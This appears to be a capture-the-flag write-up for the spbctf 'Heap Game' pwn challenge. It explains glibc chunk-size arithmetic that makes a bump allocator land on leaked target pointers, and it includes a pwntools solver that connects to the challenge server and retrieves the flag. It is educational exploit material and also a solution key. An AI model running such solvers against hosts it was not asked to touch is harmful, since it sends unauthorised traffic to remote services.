pwn7_mc1 (Mic Check — Heap Game)
pwn7_mc1 (Mic Check — Heap Game)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bump_allocator_landing, chunk_size_arithmetic, glibc_malloc_size_rounding, leaked_target_pointer
Summary
Task: heap 'game' binary (PIE/NX/canary/Full RELRO) that prints a target pointer each round and lets you pick the malloc size; landing the second malloc(0x10) on the target 10 times wins. Solution: ignore the srand(time) PRNG entirely — the target is leaked directly, so solve by pure glibc chunk-size arithmetic: size = (target - prev_ptr - 0x20) - 8 makes the bump allocator land exactly on target.
pwn7_mc1 (Mic Check — Heap Game) — pwn_spbctf
Description
Play this little game.
Author: Vlad Roskov (@mrvos). Tier pwn7, category heap, "Mic Check". Remote: nc 109.233.56.90 11711 (pwn.spbctf.ru). Flag submitted via POST flag.
A not-stripped x86-64 ELF with PIE, NX, stack canary and Full RELRO. PLT imports: scanf, malloc, printf, puts, rand, setvbuf, srand, system, time. The program plays a 10-round "heap game"; surviving all 10 rounds runs system("cat flag.txt").
Analysis
Reversed main:
c read-only • copy allowedsrand(time(NULL)); puts("*** Let's play with heap! ***"); last = malloc(0x10); printf("First malloc returned %p", last); // leaks heap base size = 0x10; for (round = 0; round < 10; round++) { target = roundup16(size) + last + (rand()%4)*0x10 + 0x40; // PRINTED to us printf("%d/10) Want next to return %p...", round+1, target); scanf("%i", &size); // WE choose the size user = malloc(size); printf("malloc(%d) = %p", size, user); last = malloc(0x10); printf("malloc(16) = %p", last); if (last == target) puts("Great!"); else { printf("But i needed %p! Bye-bye...", target); exit(0); } } system("cat flag.txt");
Key insight: the desired target pointer is printed to us every round. The srand(time(NULL)) PRNG and the (rand()%4)*0x10 jitter are folded into the printed target, so there is no need to model or predict rand() at all.
The heap is a pure bump allocator from the top — nothing is ever free()d, so there is no tcache/bin reuse. We only need to pick the malloc request size so the second malloc(0x10) of the round lands exactly on target.
Chunk-size arithmetic
Let P be the previous round's malloc(0x10) user pointer (which equals the previous target, or the first malloc for round 1). Its chunk header is at P-0x10, chunk size 0x20, so the next free top is P+0x10.
malloc(size)→ chunk atP+0x10, userP+0x20, consuming chunk sizeC.malloc(0x10)→ chunk atP+0x10+C, userP+0x20+C.
We need P+0x20+C == target, i.e. C = target - P - 0x20.
A request of n bytes maps to a glibc chunk size C = max(0x20, align16(n+8)). So pick n = C - 8, which satisfies align16(n+8) == C.
Solution
For each of the 10 rounds: parse the printed target and the previous pointer P, compute C = target - P - 0x20, send size = C - 8, verify the resulting malloc(0x10) equals target and we got "Great!", then carry P = target into the next round. After 10 wins the server prints system("cat flag.txt").
python read-only • copy allowed#!/usr/bin/env python3 # Heap Game (pwn7_mc1, spbctf "Mic Check") exploit. # The target pointer is printed each round -> no rand() prediction needed. # Heap is pure bump-allocation (nothing freed). For previous user ptr P: # malloc(size) consumes chunk C; next malloc(0x10) returns P+0x20+C. # Need P+0x20+C == target => C = target - P - 0x20; request n = C - 8 # since glibc maps n -> chunk size align16(n+8). from pwn import * context.log_level = 'info' HOST, PORT = '109.233.56.90', 11711 r = remote(HOST, PORT) r.recvuntil(b'First malloc returned ') last = int(r.recvline().strip(), 16) log.info('first malloc = %#x', last) for i in range(10): r.recvuntil(b'return ') target = int(r.recvuntil(b'.', drop=True), 16) need_C = target - last - 0x20 assert need_C >= 0x20 and need_C % 0x10 == 0, hex(need_C) size = need_C - 8 # align16(size+8) == need_C log.info('round %d target=%#x C=%#x size=%d', i + 1, target, need_C, size) r.sendline(str(size).encode()) r.recvuntil(b'malloc(16) = ') got = int(r.recvline().strip(), 16) assert got == target, f'mismatch got={got:#x} want={target:#x}' line = r.recvline().strip() assert b'Great' in line, line last = target # After 10 wins: system("cat flag.txt") data = r.recvall(timeout=5) print(data.decode(errors='replace')) for line in data.splitlines(): if b'spbctf{' in line: log.success('FLAG: %s', line.decode(errors='replace'))